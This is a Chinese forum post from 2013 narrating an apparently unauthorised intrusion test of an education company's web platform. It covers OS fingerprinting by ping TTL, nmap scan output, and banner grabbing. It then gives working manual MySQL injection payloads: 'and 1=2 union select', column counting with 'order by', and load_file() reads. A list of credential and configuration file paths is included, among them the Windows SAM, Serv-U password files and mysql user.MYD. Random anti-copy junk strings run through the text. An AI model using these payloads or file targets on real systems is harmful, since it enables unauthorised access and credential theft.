找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2497|回复: 0
打印 上一主题 下一主题

记一次Linux系统PHP注入入侵检测

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-16 22:23:32 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
题记:
, V7 s) p, d! K" F一位朋友在某教育公司,一套网络教育平台。一年前,在2008年8月份的时候,我看到了这套平台,当时发现了个注入漏洞,测试了一下,得到一个可用帐户后就没有再继续下去。今天7月,又说到此事,我决定继续下去……, l: a" o! k/ z) z3 g9 F' T  Y
第一步:获取需要的信息) [$ f; W' h6 F4 p
由于之前测试过,知道此系统某处存在SQL注入漏洞。但由于时隔一年,岁月的远去已经深深的隐藏了那个SQL注入漏洞的地址,现在需要重新收集服务器有用信息。
5 U* e& b# C0 j+ R3 ]# ~$ i注:以下为保护特用XXX代替敏感信息
9 L$ [7 D+ ]- Z2 V顺手先PING了一下他们的域名:
! }' U9 }$ t; ^  ~ping XXX.XXX.XXX.XXX(本文约定:用XXX.XXX.XXX.XXX代表测试IP和域名)3 s9 K/ ?9 J$ G+ v' {1 n  O
64 bytes from *********: icmp_seq=1 ttl=246 time=1.87 ms; ?- J/ B. r& n9 N% E
顺便了解一下TTL,学好基础知识才能一路顺风:7 b5 y1 N8 G8 O$ v  O& R( T. V. k
TTL:(Time To Live ) 生存时间6 J# `2 Q6 o& g6 |* G' j
指定数据包被路由器丢弃之前允许通过的网段数量。* e7 {6 d# u3 A: X
TTL 是由发送主机设置的,以防止数据包不断在 IP 互联网络上永不终止地循环。转发 IP 数据包时,要求路由器至少将 TTL 减小 1。* o( X4 F2 C& k
使用PING时涉及到的 ICMP 报文类型3 Y0 w1 I6 C# V2 Y' B$ X
一个为ICMP请求回显(ICMP Echo Request)) s0 t* A  W. n# h' u" I# r3 ]( _" V
一个为ICMP回显应答(ICMP Echo Reply): L# N  R' u, V8 i. j$ m
TTL 字段值可以帮助我们识别操作系统类型。4 F0 T7 L* i. E1 K# H$ _' Z
UNIX 及类 UNIX 操作系统 ICMP 回显应答的 TTL 字段值为 255
) Q3 o. x2 H3 W* U" `5 NCompaq Tru64 5.0 ICMP 回显应答的 TTL 字段值为 64" X- |. h& {& w
微软 Windows NT/2K操作系统 ICMP 回显应答的 TTL 字段值为 128
3 T, H. t! `$ K9 H微软 Windows 95 操作系统 ICMP 回显应答的 TTL 字段值为 327 O$ |! ]2 M0 ^5 p9 G9 x' N
当然,返回的TTL值是相同的
9 Q# g! Z5 |8 q( Y但有些情况下有所特殊
' `$ R, ?: V* z( T1 L. e3 FLINUX Kernel 2.2.x & 2.4.x ICMP 回显应答的 TTL 字段值为 643 E4 ^& I2 @- v) J/ R- v% k" m
FreeBSD 4.1, 4.0, 3.4;  V$ f# ?. X: b/ v
Sun Solaris 2.5.1, 2.6, 2.7, 2.8;( d' \0 y$ ~7 x" K( h% ~! T
OpenBSD 2.6, 2.7,9 ]( T1 w' D* I" A# R/ ^* t
NetBSD( U5 `  n7 o5 s. U
HP UX 10.20
/ E" u% D  `2 ]6 y( o' s: pICMP 回显应答的 TTL 字段值为 255
, L1 `$ A' U8 v1 e% r, |& @- \+ u  wWindows 95/98/98SE
* N& P9 X. Q) G3 X8 v; N; aWindows ME$ Q, w! }5 v7 e& V5 k& F
ICMP 回显应答的 TTL 字段值为 32
- ?' \' k  S  W" b0 IWindows NT4 WRKS
; f0 S' g  s2 O/ e: W  H6 gWindows NT4 Server
$ c6 D( ?8 @; vWindows 2000
7 v+ d' h: d2 N& B/ [Windows XP
. e6 Q- K% }$ B$ c+ H; jICMP 回显应答的 TTL 字段值为 1286 w5 V/ `6 Y8 w* C1 Q
这样,我们就可以通过这种方法来辨别操作系统
' o, c0 |$ F) a( h! Q$ t2 i( M/ iTTL值的注册表位置HKEY_LOCAL_MACHINE\SYSTEM \CurrentControlSet\Services\Tcpip\Parameters 其中有个DefaultTTL的DWORD值,其数据就是默认的TTL值了,我们可以修改,但不能大于十进制的255
$ @0 [3 }4 n  l* @用NMAP扫描一下:
+ p0 ]/ P, h, bnmap -sT -O XXX.XXX.XXX.XXX
6 b9 |2 H( ?1 a5 p/ F8 v3 n- I* h) @如果没有装WinPcap则会弹出提示:7 i8 L$ ^7 o  _/ Q0 Q5 }
WARNING: Could not import all necessary WinPcap functions.  You may need to upgr
. }+ C% L. D; oade to version 3.1 or higher from http://www.winpcap.org.  Resorting to connect(+ p/ s, J2 C% q7 T
) mode — Nmap may not function completely
! e5 N  G; C  G) W+ CTCP/IP fingerprinting (for OS scan) requires that WinPcap version 3.1 or higher
: Y; p/ z/ O% z! R' ]and iphlpapi.dll be installed. You seem to be missing one or both of these.  Win- [$ l) ?* ~* a  \3 y$ M; Q
pcap is available from http://www.winpcap.org.  iphlpapi.dll comes with Win98 an9 q9 g$ ~* t0 D2 F0 ?
d later operating sytems and NT 4.0 with SP4 or greater.  For previous windows v$ B: T( b. w  C) u8 B" g
ersions, you may be able to take iphlpapi.dll from another system and place it i8 K; w2 C1 [# E- E
n your system32 dir (e.g. c:\windows\system32).$ y2 f4 E( b2 @3 P5 U$ U% u
QUITTING!$ z1 Y4 p% I4 }4 U
到这里下载: http://www.winpcap.org/install/bin/WinPcap_4_1_1.exe
  n  V4 _9 p4 s- k  j7 G8 g安装后继续执行刚才的命令,等待扫描完毕后得到入下信息:
4 `: s' m+ x  ^$ _0 A2 j3 [1 h1 @Interesting ports on XXX.XXX.XXX.XXX:- R% y/ N5 ^- I9 s
Not shown: 986 closed ports
% n) B# ^9 A, d2 F) CPORT     STATE    SERVICE
( w. E' R1 \" t5 D21/tcp   open     ftp
, d+ l# q/ L4 @0 |5 i( V! U3 Y22/tcp   open     ssh
: I5 A3 Q6 E: Z6 i5 D23/tcp   open     telnet. ?( _) R7 Z, K& j
80/tcp   open     http2 K/ B: i6 b  p# j
111/tcp  open     rpcbind& |1 h* H: t6 U) F# a
135/tcp  filtered msrpc
& |6 u: }) [6 B6 h139/tcp  filtered netbios-ssn' s( R  _- }+ ~4 S2 D) [0 F5 C) s
445/tcp  filtered microsoft-ds
7 h- D; K! y- Q- w# S0 k5 c513/tcp  open     login
1 i7 a2 d7 h7 {, C6 P& k0 B+ u514/tcp  open     shell
7 a* L. a' t* a- n& V) u8 q- d0 \593/tcp  filtered http-rpc-epmap
$ K/ e- X+ @, ~# [1720/tcp filtered H.323/Q.9313 K' q! l4 f/ x8 t8 K
3306/tcp open     mysql; I% I8 `3 n5 l# c7 ]0 C6 [8 W# J" s8 c
4444/tcp filtered krb524
7 W$ e7 g, r4 X" zDevice type: WAP
% V$ n8 x4 m3 YRunning: Linux 2.4.X
; h0 G6 f0 n% ]OS details: DD-WRT (Linux 2.4.35s)+ R2 b: Y" e, x; @
Network Distance: 13 hops
% k( ^6 ^2 n- X1 s看到SSH22端口是开着的,打开putty试一下,看是否可以正常连接:
5 x# u- u" S% _! ?7 M5 z, c3 B. Ulogin as:2 E1 P9 Z1 t3 a' L
Telnet23端口也是开着的,用telnet 命令链接一下:, D; Y" t' o  m2 s& k9 S) l: J
telnet XXX.XXX.XXX.XXX( K* p, b' d& W: A, T9 G0 b
提示:
  w8 c2 k% S  t" `Red Hat Enterprise Linux Server release 5.2 (Tikanga)8 E, B9 E& M2 \# P2 t; ~+ j1 L
Kernel 2.6.18-92.el5PAE on an i686
7 a7 X: h3 q* ^$ wlogin:! y) f) O' h$ Y( j. c; \/ C3 J
获取HTTP头信息:! F; E6 ^( q% m$ F( w( ]9 W* z
在本地执行如下PHP代码8 F5 d( ^! n! K& h- Y; {! W
<?php) a: ]4 t- `6 `% Y& t
$url = ‘XXX.XXX.XXX.XXX’;
2 y8 g+ z! ~* Z4 S! Hprint_r(get_headers($url));
3 K9 \0 ]2 l5 Gprint_r(get_headers($url, 1));
. `% C/ J1 S% x0 b+ X?>; F5 O# j. B$ e
将以上代码保存为PHP文件,执行:
2 E+ V1 n  r7 c. ?Array ( [0] => HTTP/1.1 200 OK [1] => Server: nginx/0.7.61 [2] => Date: Mon, 02 Nov 2009 09:06:48 GMT [3] => Content-Type: text/html; charset=gb2312,gbk,utf-8 [4] => Content-Length: 75 [5] => Last-Modified: Thu, 20 Aug 2009 19:35:37 GMT [6] => Connection: close [7] => Accept-Ranges: bytes ) Array ( [0] => HTTP/1.1 200 OK [Server] => nginx/0.7.61 [Date] => Mon, 02 Nov 2009 09:06:48 GMT [Content-Type] => text/html; charset=gb2312,gbk,utf-8 [Content-Length] => 75 [Last-Modified] => Thu, 20 Aug 2009 19:35:37 GMT [Connection] => close [Accept-Ranges] => bytes )* |5 s3 v2 b$ o$ |# y
现在可以得出结论:
! f9 D$ g- A8 H& P系统版本:Red Hat Enterprise Linux Server release 5.2 (Tikanga)" o; k8 h( v0 o2 ^
内核版本:Kernel 2.6.18-92.el5PAE on an i686
3 ?% \- _; E! C4 R$ e- x, r# rWEB服务器版本:nginx/0.7.61
) Z) e6 {$ k8 s6 G0 `, M4 T第二步,开始测试寻找漏洞1 Q7 h5 |0 ~, X9 `, }
分析是否存在注入漏洞,因为上次曾发现存在过,所以注入则是我们的首选。
/ P: t3 E! b. t5 C2 ~# E6 E) Z1、敏感地址:站内存在有类似:http://www.fovweb.com/XXX.php?id=123 这种地址,属动态传参的
( o4 a4 D2 D+ o$ i: U& f/ p3 W2、测试方法:在地址后加 and 1=1 和 and 1=2 测试/ \7 l( ^: C3 q9 k6 R# D7 U% o
http://www.fovweb.com/XXX.php?id=123 and 1=1 返回正常
4 c5 p3 X6 l1 `; C: v5 |http://www.fovweb.com/XXX.php?id=123 and 1=2 返回错误) W' t& h3 l: y- W' U% R
恭喜,两次返回结果不同,则很有可能存在未过滤敏感字符而存在SQL注入漏洞,我们继续
( M# u2 r: f5 d/ q( |: S# U/ F# r0 S  a3、手工注入:6 S( T7 o( d9 N" C- E- \
注入也应该有个思路,不能随便碰运气,要记住入侵检测不是靠运气而走下去的,要靠的是清晰的思路、过硬的技术、很全的知识面。
& _' h8 |4 Q; R5 w- r3.1 猜测当前表字段数
" t9 n+ C5 ^: e/ u0 ]8 d% Xhttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 10
! {9 T' T5 ?: T/ d; B此处猜测有个简单的算法,都是有技巧的吗,呵呵
8 n, W1 ?6 t. W' K8 j3 T算法简单如下:* j8 h' }% z" t- |+ A
第一步:根据页面信息,大概估算一个数值,这个是要靠一定的经验了;, P3 z0 N: b! h6 Z) d
第二步:取中算法,好比是10,如果返回错误,则取中间值5进行下一次猜测;
+ z& m8 F) O5 [8 g' [% q需要注意:如果所选数值在字段数范围内即小于等于,则会(返回正常);如果所选数值在字段范围外即大于等于,则会(返回错误)。
7 t$ X3 b$ {+ d# Y7 a0 k7 K1 u以此来判断,是否过界,配合取中算法猜出字段数。
( C. y3 w0 v$ w举例:
  T+ p+ }/ M# |) K6 }5 phttp://www.fovweb.com/XXX.php?id=123 and 1=1 order by 3 返回正常4 D3 y/ a; R  s
http://www.fovweb.com/XXX.php?id=123 and 1=1 order by 4 返回错误4 A4 Z8 p( o( i8 h" V+ f$ S
此时3则为我们要找的字段数。
' i' L& \8 W' ]4 Q5 V  [+ h3.2 配合union联合查询字段在页面所位置
" p3 x% h# E( P2 Y* D* }2 R! c我们已经知道了字段数为3,此时则可以做如下操作:
! x# j8 e) ^! ]7 E5 l# f; t5 ^7 Uhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,2,3
+ R/ k5 a! f# c( u0 ?1 l9 v  D, O! K* H
这样就可以测试到哪些字段在页面上有所显示了,如图:
1 n  |6 p3 C. n# c" K5 m" x" s% N0 i& l7 G
3.3 查敏感信息6 M3 g; F( w) k. {4 Z
这也是个思路问题,我们需要什么,其实到了这一步已经能做什么多事情了。
5 J; D5 M! [; j* Uhttp://www.fovweb.com/XXX.php?id=123 and 1=2 union select 1,user(),database()7 K$ R1 S- q+ p) _
3.3.1 先查数据库用户、数据库名,以备后用,如图:
, }. K) T7 |, g  _6 u( a$ E- R/ g
4 }$ U, z$ [' q) o得到数据库用户为root、数据库名为DBxx;: L5 T7 I9 e: d5 f1 ?5 {
3.3.2 查配置文件  O) D5 A1 T8 u+ O7 N
查配置文件,就是指查看系统敏感的文件,如web服务器配置文件等。9 x7 f3 B; S+ E! I) m6 ^
查看文件有一定的条件限制:
( s9 Y% t6 p( J: Q欲读取文件必须在服务器上' p. h7 f7 v& [" d- P7 P0 g( ^: \/ N
必须指定文件完整的路径
0 {( ]3 Z/ E" _3 [5 T7 Y必须有权限读取并且文件必须完全可读
3 I0 v7 q3 u' p2 S, y$ Y& H欲读取文件必须小于 max_allowed_packet* s( C# R5 n8 B6 l. F1 D
MYSQL注入中,load_file()函数在获得webshell以及提权过程中起着十分重要的作用,常被用来读取各种配置文件。
7 e4 \/ V* i3 V9 T+ m常用的一些:4 B+ T7 S" U; \' ?
/usr/local/app/apache2/conf/httpd.conf //apache2缺省配置文件
+ N7 |. l! v* [6 u# u8 w) q/usr/local/apache2/conf/httpd.conf
' h( ]. f& C2 d3 g, P# g7 ^/usr/local/app/apache2/conf/extra/httpd-vhosts.conf //虚拟网站设置
5 V+ d6 s8 S9 W' M5 b1 A/usr/local/app/php5/lib/php.ini //PHP相关设置& l6 E8 Y: G1 m- I! }) ?
/etc/sysconfig/iptables //从中得到防火墙规则策略' u9 F1 q' J7 Y% ?1 k9 \8 u% \
/etc/httpd/conf/httpd.conf // apache配置文件# O  |3 x2 X/ c4 G
/etc/rsyncd.conf //同步程序配置文件
1 z& U6 y, `5 k6 B* v8 F5 [4 W% w/etc/sysconfig/network-scripts/ifcfg-eth0 //查看IP.: {* A* T& ]: c7 L, O& ^. V
/etc/my.cnf //mysql的配置文件+ o* n# b) V- O0 b/ ~% Y4 L
/etc/redhat-release //系统版本
% W0 N; a3 v/ H! y2 ]6 V/etc/issue& W# x+ [: Q: S# q
/etc/issue.net
" t$ b* {* T9 o! x) Gc:\mysql\data\mysql\user.MYD //存储了mysql.user表中的数据库连接密码* l* G7 N2 w# C: B' s4 D- r7 O
c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini //存储了虚拟主机网站路径和密码; w! q& r7 U1 E+ n' n  v
c:\Program Files\Serv-U\ServUDaemon.ini; X* @; B. m# ]! ~: I
c:\windows\my.ini //MYSQL配置文件
* ]1 v  O0 w/ ?% C  N; U* }c:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
: F; K& h* y2 h4 G) m. h等等。实际上,load_file()的作用不止于此,它还可以用来读取系统中的二进制文件,9 s; n2 n' }& I( ]: A/ e
c:\windows\repair\sam //存储了WINDOWS系统初次安装的密码
+ C& ~& s! @' D* v* g' r2 G* lc:\Program Files\ Serv-U\ServUAdmin.exe //6.0版本以前的serv-u管理员密码存储于此8 V5 s# d" }- z# u4 ~  ]) `* A
c:\Program Files\RhinoSoft.com\ServUDaemon.exe/ \2 z' b# b* q; ]; M( p/ h
C:\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\*.cif文件
9 ?- m# B5 I& H//存储了pcAnywhere的登陆密码' K# ^/ U% R0 s( `
由于之前得到信息,此台服务器是采用的nginx做的Web服务器,那我们就来试着找一下nginx的安装路径吧。
7 c& j) c& w/ V) F9 w6 |这个没有技术性可言,纯靠经验和运气,由于很少用nginx不了解,我就先到网上搜索常用的安装路径,以及比较好的配置文档中的安装路径进行测试,最终,得到nginx安装路径“/usr/local/nginx/conf/nginx.conf”。
: T% Y" K( k2 Y  ~% x最后:防范措施$ W7 U6 ]- E$ B4 `( [
1、修复PHP注入漏洞;
, x% L+ ^& Z1 `. P% r, D. v2、Mysql使用普通权限的用户;+ |" {1 q5 c0 J1 `, _* P
3、升级linux内核至最新版本;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表